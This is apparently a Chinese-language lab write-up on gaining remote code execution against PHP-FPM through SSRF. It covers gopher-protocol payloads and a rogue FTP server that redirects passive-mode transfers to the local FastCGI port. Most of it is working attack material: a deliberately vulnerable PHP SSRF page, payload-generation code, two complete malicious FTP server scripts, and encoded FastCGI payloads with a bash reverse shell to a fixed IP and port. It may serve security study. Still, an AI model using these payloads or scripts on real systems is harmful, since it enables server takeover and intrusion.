FastCGI_SSRF0
参考资料
https://xz.aliyun.com/t/9544#toc-19
https://www.anquanke.com/post/id/233454
https://blog.csdn.net/unexpectedthing/article/details/121643002
利用gopher协议
书接上文(“FastCGI与Web中间件”)
靶机配置
(1)配置修改。
在之前的未授权访问攻击中,我们把/etc/php/7.2/fpm/pool.d/www.conf
中的listen改掉了,现在要改回成127.0.0.1:9000
(2)重启PHP-fpm。
ps -elf | grep php-fpm
;kill -9 进程号
搞掉master进程,再用之前的命令启动。
(不太清楚nginx是否需要重启;反正我也重启了一下)
这时候,继续执行之前的操作,应该已经显示无法连接了。
注意:光重启nginx肯定是不行的。在之前的实验中,我们让PHP-fpm直接暴露在公网上,fpm.py直接与其通信,压根就没有通过nginx。但这次必须开启nginx,因为SSRF显然要使用本地Web服务器。
(3)index.php写裸SSRF
<?php
error_reporting(E_ALL || ~E_NOTICE);
$url=$_GET['url'];
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER,FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
$res=curl_exec($ch);
curl_close($ch);
echo $res;
?>
攻击操作
(1)fpm.py payload写入
nc -lvvp 9000 > exp.txt
python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php phpinfo();?>"
报timeout是正常现象。
(2)构造gopher协议+二次编码,生成用于SSRF的payload
import urllib.parse
with open('exp.txt','rb') as f:
pld=f.read()
a="gopher://127.0.0.1:9000/_"+urllib.parse.quote(pld)
print(urllib.parse.quote(a))
(3)效果
注:尝试eval($_POST['whoami'])
类似语句时出现了一些问题,zsh有时候报bad math expression:operand expected
错误。
注2:将恶意语句改为"<?php system('bash -i >& /dev/tcp/192.168.208.134/9090 0>&1')?>"
,系列操作不变,经测试可以实现传入url参数后反弹shell。
关于gopher协议
使用方法:gopher://ip:port/_payload
gopher协议是一个分布式的文档传递服务,在SSRF漏洞攻击中发挥的作用非常大。使用Gopher协议时,通过控制访问的URL可实现向指定的服务器发送任意内容,如HTTP请求,MySQL请求等,所以其攻击面非常广。
**利用FTP协议
(1)两次连接的情况
攻击以下代码:
<?php
$contents = file_get_contents($_GET['viewFile']);
/* */
file_put_contents($_GET['viewFile'], $contents);
?>
原理解释
这段代码是没啥现实意义的。仅用于适配此漏洞。
不考虑协议,它的功能是将viewFile对应的文件内容读出来,之后 进行一些处理/原样 写回去。总的来说没啥作用。
之前gopher协议不能使用的原因是,file_get_contents
和file_put_contents
不支持该协议。
考虑ftp协议;若viewFile连接一个正常的ftp服务,它就会从ftp下载文件然后存到一个变量里,再把这个变量里的文件上传回ftp。
考虑自建恶意ftp服务器完成SSRF。
在使用ftp协议时,我们所要攻击的代码成为客户端;此处的客户端默认采用PASV(被动)模式,即服务器确定两者数据传送进程所用的端口(端口号两者统一;控制进程端口号固定21不可更改)。第一次连接(对应file_get_contents)是下载指令 RETR,我们可以随意指定一个端口,但IP地址必须是服务端IP(比如192.168.208.134:1234),它的意思是我们会通过这个套接字与客户端建立数据传送进程连接。
第二次连接(对应file_put_contents)是上传指令STOR,我们此时将套接字替换为127.0.0.1:9000,这样客户端以为它把文件发给了我们,但实际上它把文件发给了它自己的PHP-fpm。这样,就能够达成RCE。
略去许多技术细节(ftp状态码)之后的关键流程大概是这样的:
操作&效果
攻击PHP-fpm的恶意文件是用Gopherus生成的;fpm.py生成的在测试中不太行。
https://github.com/tarunkant/Gopherus
使用了网上的恶意ftp服务端脚本:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.208.134/9090%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen(5)
# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 192,168,208,134,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
#conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
conn.send(b"150 \n")
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
print("alive")
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
部署好用于反弹shell的监听和恶意ftp服务器后,浏览器执行
http://192.168.208.188/index.php?viewFile=ftp://192.168.208.134:23/
效果图:
(2)一次连接情况
攻击:
file_put_contents($_GET['file'],$_GET['data']);
原理是一样的,而且还简单了一些。
与之前相比,省去了传恶意文件;直接放data里就行了。
恶意文件生成与之前完全相同。
恶意服务器脚本换了一下,还是网上的。
import socket
host = '0.0.0.0'
port = 5555
sock = socket.socket()
sock.bind((host, port))
sock.listen(5)
conn, address = sock.accept()
conn.send("220 \n")
print conn.recv(20)
conn.send("331 \n")
print conn.recv(20)
conn.send("230 \n")
print conn.recv(20)
conn.send("200 \n")
print conn.recv(20)
conn.send("550 \n")
print conn.recv(20)
# skip EPSV
conn.send("200 \n")
print conn.recv(20)
# 35 * 256 + 40 = 9000
conn.send("227 127,0,0,1,35,40\n")
print conn.recv(20)
conn.send("150 \n")
print conn.recv(20)
payload:
http://192.168.208.188/index.php?file=ftp://192.168.208.134:5555/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.208.134/9090%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
执行效果:
反弹shell部分与之前完全相同。